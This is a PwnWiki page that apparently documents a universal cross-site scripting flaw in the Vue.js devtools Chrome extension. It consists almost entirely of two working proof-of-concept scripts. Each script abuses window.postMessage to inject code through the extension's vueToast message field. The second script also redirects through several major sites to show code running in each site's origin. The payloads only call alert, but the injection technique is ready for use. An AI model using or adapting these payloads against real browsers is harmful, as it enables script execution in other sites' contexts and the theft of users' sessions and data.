Chrome 插件 Vue.js devtools UXSS

From PwnWiki
Revision as of 17:15, 13 April 2021 by Pwnwiki (talk | contribs) (Created page with "==XSS1== <pre> <script> setInterval(() => { window.postMessage({ vueDetected: true, vueToast: { message: '`,`normal`); func...")
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)

XSS1

<script>
    setInterval(() => {
        window.postMessage({
            vueDetected: true,
            vueToast: {
                message: '`,`normal`); function __VUE_DEVTOOLS_TOAST__(){}; alert(document.domain);//'
            }
        }, '*')
    }, 1000)
</script>


XSS2

<script>
    const urls = ['https://www.google.com/', 'https://github.com', 'https://vuejs.org/']
    var i = 0;
    setInterval(() => {
        window.postMessage({
            vueDetected: true,
            vueToast: {
                message: '`,`normal`); function __VUE_DEVTOOLS_TOAST__(){}; alert(document.domain); location=`' + urls[i++%3] +'`//'
            }
        }, '*')
    }, 3000)
</script>